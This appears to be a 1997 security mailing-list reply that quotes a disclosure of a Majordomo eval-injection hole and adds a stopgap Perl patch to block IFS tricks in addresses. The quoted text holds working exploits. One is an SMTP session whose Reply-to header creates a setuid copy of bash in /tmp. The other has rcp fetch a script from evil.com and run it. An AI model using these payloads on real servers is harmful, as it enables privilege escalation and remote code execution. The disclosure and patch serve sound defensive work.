> I have discovered a vulnerablility in "majordomo" that allows local and
> remote users to execute commands with the rights of the user running the server. This user is usually in the daemon group, so this can be quite harmful.
>
> Still, there is a condition for the exploit to work. The server should
> have at least one list that uses the "advertise" or "noadvertise"
> directives in the configuration files. These directives indicate if the
> list should (or should not) be included in a reply to a "LISTS" command
> depending on the address the request came from. The exploit also works if
> the server has one or more "hidden" lists (see the Majordomo documentation
> for details).
Here's a quicky to slap a condom on this problem until a more
permanent cure is forth coming... This is against 1.93.3 and has been
tested against a hostile message.
=================================================================
--- majordomo.pl.old Tue Aug 26 18:29:31 1997
+++ majordomo.pl Tue Aug 26 18:28:58 1997
@@ -652,6 +652,10 @@
&main'abort("HOSTILE ADDRESS (no x400 a[dm]=) $addr")
if ($_ !~ m#/a[dm]=#); #'
}
+ &main'abort("HOSTILE ADDRESS (IFS in x400) $addr")
+ if ($_ =~ m#\$\{IFS#); #'
+ &main'abort("HOSTILE ADDRESS (IFS in x400) $addr")
+ if ($_ =~ m#\$IFS#); #'
}
print STDERR "$0: valid_addr: exit\n" if $DEBUG;
=================================================================
This has the advantage of letting you know, through a majordomo
abort message that someone is trying to screw with you. We might even
want to expand that to include other attempts at shell expansions in address
fields...
> Here's a piece of the configuration file:
>
> -- lrazvan.config --
>
> # advertise [regexp_array] (undef) <majordomo>
> # If the requestor email address matches one of these regexps, then
> # the list will be listed in the output of a lists command. Failure
> # to match any regexp excludes the list from the output. The
> # regexps under noadvertise override these regexps.
> advertise << END
> /.*/
> END
> -- end lrazvan.config --
>
> The one above tells majordomo to include this list in any "LISTS" request.
>
> The problem is that when the server finds a list that has one of these
> attributes ("advertise" or "noadvertise"), it will try to match the
> reply-to address against these patterns. It uses an "eval" command to do this.
>
> Let's take a look at the PERL source (the do_lists procedure):
>
> -- majordomo --
> foreach $i (@array) {
> $command = "(q~$reply_addr~ =~ $i)";
> $result = 1, last if (eval $command);
> }
>
> -- end majordomo --
>
> $reply_addr is the result of some paranoid validation. It cannot contain
> <,>,[,],-,+,(,),; etc..
> But with a few tricks, this won't be a problem :).
>
> Now, for the exploits. There a two of them, one for the local users who
> just want a setuid shell (with the rights of the server owner, usually
> majordomo.daemon), and one for the remote users who might want to copy
> some files or execute commands remotely (the old "mail foo@foo.net <
> /etc/passwd" won't work, it contains '<' ...).
>
> Local exploit:
> --exploit--
> telnet localhost 25
>
> helo localhost
> mail from: user
> rcpt to: majordomo (or whatever the name of the majordomo user is)
> data
> From: user
> To: majordomo
> Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro
>
> LISTS
> ..
> quit
> --end of exploit --
>
> The "Reply-to" field does all the hard work. I think it needs some explaining. First, we use $IFS instead of spaces (guess why...), and '&&' instead of ';'. The '&&' operator does in bash the same thing it does in perl. "a&&b" means "execute a and if succ
> essful execute b". The address is composed in such a way that it passes the tests majordomo uses (it considers it as a X400 address). So don't change anything in there (of course, you can change the commands, but not the syntax). The exploit will copy /bi
> n/bash as /tmp/lord and change permissions for it to 4777 (setuid + rwx for everyone).
>
> For the remote users, change the Reply-to field to something like:
>
> Reply-to: a~.`/usr/bin/rcp\${IFS}user@evil.com:script\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\@kappa.ro
>
> Make sure user@evil.com can connect from the remote site. evil.com is your
> site.
> You will have to edit the "script" file in your home directory and make it
> do eveverything you want (you can now use all those "forbidden characters").
>
> I am too tired to find a fix for this right now. Some more validation
> might help.
> I have tested this on Majordomo version 1.94.3. Other versions could be
> vulnerable.
>
> Have fun and be good.
> Razvan
>
> --
> Razvan Dragomirescu
> drazvan@kappa.ro, drazvan@romania.ro, drazvan@roedu.net
> Phone: +40-1-6866621
> "Smile, tomorrow will be worse" (Murphy)
>
--
Michael H. Warfield | Voice: (770)395-0150
Senior Engineer | Fax: (770)395-1972
Internet Security Systems, Inc. | E-Mail: mhw@iss.net mhw@wittsend.com
41 Perimeter Center East, Suite 660 | http://www.iss.net/
Atlanta, GA 30328 | http://www.wittsend.com/mhw/
PGP Key: 0xDF1DD471 http://www.wittsend.com/mhw/pubkey.txt